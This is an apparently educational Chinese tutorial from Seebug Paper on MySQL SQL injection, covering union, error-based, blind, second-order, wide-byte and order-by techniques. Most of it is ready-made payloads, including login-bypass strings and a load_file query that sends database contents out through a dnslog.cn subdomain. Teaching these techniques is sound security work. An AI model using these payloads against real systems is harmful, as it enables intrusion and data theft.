作者: 啵啵
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
注入攻擊的本質,是把用戶輸入的數據當做代碼執行。
- 這里有兩個關鍵條件:
第一個是用戶能夠控制輸入
第二個是原本程序要執行的代碼,拼接了用戶輸入的數據然后進行執行
判斷注入點
最古老的方法
- and 1=1 頁面正常
- and 1=2 頁面不正常
最簡單的方法
- 頁面后加 ',看是否報錯
- 如果是數字型傳參,可以嘗試-1
例如:
- http://www.xxx.com/new.php?id=1 頁面顯示id=1的新聞
- http://www.xxx.com/new.php?id=2-1 頁面顯示id=1的新聞
and 1=1 and 1=2 被攔截的可能性太高了,可以嘗試 and -1=-1 and -1=-2 and 1>0 or 1=1。
或者直接 or sleep(5)
常用函數
查看當前數據庫版本
- VERSION()
- @@VERSION
- @@GLOBAL.VERSION
查看數據庫當前登陸用戶
- USER()
- CURRENT_USER()
- SYSTEM_USER()
- SESSION_USER()
當前使用的數據庫
- DATABASE()
- SCHEMA()
系統相關
- @@BASEDIR : mysql安裝路徑:
- @@SLAVE_LOAD_TMPDIR : 臨時文件夾路徑:
- @@DATADIR : 數據存儲路徑:
- @@CHARACTER_SETS_DIR : 字符集設置文件路徑
- @@LOG_ERROR : 錯誤日志文件路徑:
- @@PID_FILE : pid-file文件路徑
- @@BASEDIR : mysql安裝路徑:
- @@SLAVE_LOAD_TMPDIR : 臨時文件夾路徑:
- @@version_compile_os:操作系統版本:
注釋
- -- qwe(有一個空格)
聯合數據
concat()
group_concat()
concat_ws()
CIBCAT
基本格式
CONCAT(str1,str2)
返回結果為連接參數產生的字符串。如有任何一個參數為 NULL ,則返回值為 NULL。可以有一個或多個參數。
參數中有 NULL
mysql> SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;
+-------+
| users |
+-------+
| NULL |
+-------+
1 row in set (0.00 sec)
使用 LIMIT 來控制結果數量
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1,1;
+-----------------------+
| users |
+-----------------------+
| 2,Angelina,I-kill-you |
+-----------------------+
1 row in set (0.00 sec)
CONCAT_WS
CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一個參數是其它參數的分隔符。這樣參數多的話就不用手動的去添加分隔符了。
基本格式
CONCAT_WS(separator,str1,str2,…)
Separator 為字符之間的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1~Dumb~Dumb |
| 2~Angelina~I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
GROUP_CONCAT
基本格式
GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
顯錯注入
Mysql在5.0以上版本加入了 information_schema 這個系統自帶庫 其中保存著關于MySQL服務器所維護的所有其他數據庫的信息。如數據庫名,數據庫的表,表欄的數據類型與訪問權限等
-
information_schema.tables 存放表名和庫名的對應
-
information_schema.columns 存放字段名和表名的對應
注: information_schema.tables 實際上是選中information_schema庫中的tables表
基本流程
判斷字段數目
ORDER BY 10
ORDER BY 5
ORDER BY 2
....
判斷顯示位
union select 1,2,3,4,5,6,7……
查看當前數據庫
union select 1,2,database()
查表名
union select 1,2,table_name from information_schema.tables where
table_schema=database()
查列名
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
查詢字段值
union select 1,字段名,字段名 from 表名
POST注入
POST注入就是使用POST進行傳參的注入,本質上和GET類型的沒什么區別
POST注入高危點
- 登錄框
- 查詢框
- 等各種和數據庫有交互的框
萬能密碼
'or 1=1-- qwe
'or 1=1#
admin'-- qwe
admin'#
報錯注入
floor()報錯
原理
floor()報錯注入的原因是group by在向臨時表插入數據時,由于rand()多次計算導致插入臨時表時主鍵重復,從而報錯,又因為報錯前concat()中的SQL語句或函數被執行,所以該語句報錯且被拋出的主鍵是SQL語句或函數執行后的結果。
報錯語句
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
關鍵表被禁用了
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
xpath語法報錯
updatexml() 更新xml文檔的函數
語法:updatexml(目標xml內容,xml文檔路徑,更新的內容)
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
實際上這里是去更新了XML文檔,但是我們在XML文檔路徑的位置里面寫入了子查詢,我們輸入特殊字符,然后就因為不符合輸入規則然后報錯了
但是報錯的時候他其實已經執行了那個子查詢代碼!
[0x7e 實際是是16進制,Mysql支持16進制,但是開頭得寫0x 0x7e是一個特殊符號,然后不符合路徑規則報錯] ~ ~
extractvalue()
語法: extractvalue(目標xml內容,xpath格式的字符串)
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
updatexml與extractvalue都是基于xpath語法進行報錯的,extractvalue也與其類似。
一般是配合and或者是or使用的,他和聯合查詢不同,不需要在意什么字段數。
exp報錯
原理
exp是一個數學函數 取e的x次方,當我們輸入的值大于709就會報錯 然后取反它的值總會大于709所以報錯,適用版本:5.5.5,5.5.49,而mysql能記錄的double數值范圍有限,一旦結果超過范圍,則該函數報錯,~符號為運算符,意思為一元字符反轉。
報錯語句
這里必須使用嵌套,因為不使用嵌套不加select*from 無法大整數溢出
exp(~(select * from(查詢語句)a))
union select exp(~(select * from(select database())a))
BIGINT溢出錯誤
報錯語句
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
幾何函數報錯
報錯語句
GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))
polygon():polygon((select * from(select * from(select user())a)b))
multipoint():multipoint((select * from(select * from(select user())a)b))
multilinestring():multilinestring((select * from(select * from(select user())a)b))
linestring(): LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :multipolygon((select * from(select * from(select user())a)b))
盲注
介紹
布爾盲注
- 布爾有明顯的True跟Flase,也就是說它會根據你的注入信息返回Ture跟Flase,也就沒有了之前的報錯信息.
時間盲注
- 頁面返回值只有一種Ture,無論輸入認識值,返回情況都會按正常來處理.加入特定的時間函數,通過web頁面返回的時間差來判斷注入語句是否正確。
盲注常用函數
- length() 函數 返回字符串的長度
- substr() 截取字符串 (語法:SUBSTR(str,pos,len);)
- scii() 返回字符的ascii碼 [將字符變為數字wei]
- sleep() 將程序掛起一段時間n為n秒
- if(expr1,expr2,expr3) 判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句
注入流程
盲注
猜解當前數據庫名稱長度
and (length(database()))>1
利用ASCII碼猜解當前數據庫名稱
and (ascii(substr(database(),1,1)))=115
--返回正常,說明數據庫名稱第一位是s
猜表名
and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101
--返回正常,說明數據庫表名的第一個的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常,說明zkaq表中的列名稱第一位是f
猜內容
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常,說明zKaQ列第一位是z
延時注入
and if(ascii(substr(database(),1,1))>1,0,sleep(5))
延時盲注其實和布爾盲注其實沒有什么太大的區別,只不過是一個依靠頁面是否正常判斷,一個是否延時判斷,在操作上其實也差不多,只不過延時多一個if()
二次注入
原理
黑客精心構造 SQL 語句插入到數據庫中,數據庫報錯的信息被其他類型的 SQL 語句調用的時候觸發攻擊行為。因為第一次黑客插入到數據庫的時候并沒有觸發危害性,而是再其他語句調用的時候才會觸發攻擊行為,這個就是二次注入。
案例
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
這里直接使用單引號拼接了 username 所以當 username 可控的話 ,這里是存在SQL注入的,假設用戶注冊的 username 的值為:admin'#,那么此時的完整語句就為:sql
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此時就完全改變了語義,直接就修改掉了 admin 用戶的密碼。
步驟
創建一個admin'#開頭的用戶名:
admin'#1
admin'#233
admin'#gg
...
注冊完成后數據庫的記錄信息如下
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了記錄,這里單引號數據庫中中看沒有被雖然轉義了,這是因為轉義只不過是暫時的,最后存入到數據庫的時候還是沒變的。
接下來登錄 admin'#hacker 用戶,然后來修改當前的密碼
此時來數據庫中查看,可以發現成功修改掉了 admin 用的密碼了:
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
寬字節注入
寬字節注入原理
MySQL 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如 %aa%5c 就是一個 漢字。因為過濾方法主要就是在敏感字符前面添加 反斜杠 `\。
寬字節注入就是PHP發送請求到MySql時使用了語句
SET NAMES 'gbk' 或是SET character_set_client =gbk 進行了一次編碼,但是又由于一些不經意的字符集轉換導致了寬字節注入。
1 %df吃掉`
具體的原因是 urlencode(\') = %5c%27,我們在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,這個時候就把%df%5c 當做是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。
2 將 \' 中的 \ 過濾掉
例如可以構造 %5c%5c%27 的情況,后面的%5c會被前面的%5c 給注釋掉。這也是 bypass 的一種方法。
post型
將 utf-8 轉換為 utf-16 或 utf-32,例如將 ' 轉為 utf-16 為?
我們就 可以利用這個方式進行嘗試,可以使用 Linux 自帶的 iconv 命令進行 UTF 的編碼轉換:
? ~ echo \'|iconv -f utf-8 -t utf-16
??'
? ~ echo \'|iconv -f utf-8 -t utf-32
??'
其他情況
- UTF-8是3個字符
- GBK是2個字符
- \是1個字符
外面傳參一個漢字UTF-8(3個字符)
進了數據庫GBK3+1=4 >這是兩個漢字
漢') or 1=1-- qwe
有的時候我們也可以用16進制來代替字符串
DNS注入
dnslog的使用場景
在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起請求,這個時候就可以通過DNS請求把想獲得的數據外帶出來。
對于sql盲注,常見的方法就是二分法去一個個的猜,但是這樣的方法麻煩不說,還很容易因為數據請求頻繁導致被ban。
所以可以將select到的數據發給一個url,利用dns解析產生的記錄日志來查看數據。
load_file()
load_file(file_name):讀取一個文件并將其內容作為字符串返回
語法
load_file(file_name)
其中file_name是文件的完整路徑。
條件
- 文件必須位于服務器主機上
- 必須指定完整路徑的文件
- 必須要file權限,所有字節可讀。
如果文件不存在或者無法讀取,因為前面條件之一不滿足,函數返回NULL。(這個功能不是默認開啟的需要在mysql配置中加一句secure_file_priv=)
UNC路徑
UNC(Universal Naming Convention)通用命名規則,也叫通用命名規范、通用命名約定。 網絡(主要指局域網)上資源的完整名稱。 它符合\servername\sharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。 目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式\servername\sharename\directory\filename。
unc共享就是指網絡硬盤的共享
我們熟悉的命令行訪問法訪問網上鄰居,實際上應該稱作UNC路徑訪問法。
不過UNC路徑也可以這樣寫//servername/sharename {建議這樣寫}
例子
- \().zkaq.cn\abc => 我們通過SMB服務取請求a.zkaq.cn那臺機器下的abc文件夾
DNS注入原理
語句
and (select load_file(concat('//',(select database()),'.3zgwqy.dnslog.cn/ddd')))
通過子查詢,將內容拼接到域名內,讓load_file()去訪問共享文件,訪問的域名被記錄
此時變為顯錯注入,將盲注變顯錯注入,讀取遠程共享文件,通過拼接出函數做查詢,拼接到域名中,訪問時將訪問服務器,記錄后查看日志.
order by注入
order by 不同于 where 后的注入點,不能使用 union 等進行注入
驗證方式
- 升序和降序驗證
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 dasc
- rand() 驗證
rand(ture) 和 rand(false) 的結果是不一樣的
?sort=rand(true)
?sort=rand(false)
- 延時驗證
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
這種方式均可以延時,延時的時間為 (行數*1) 秒
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1665/
暫無評論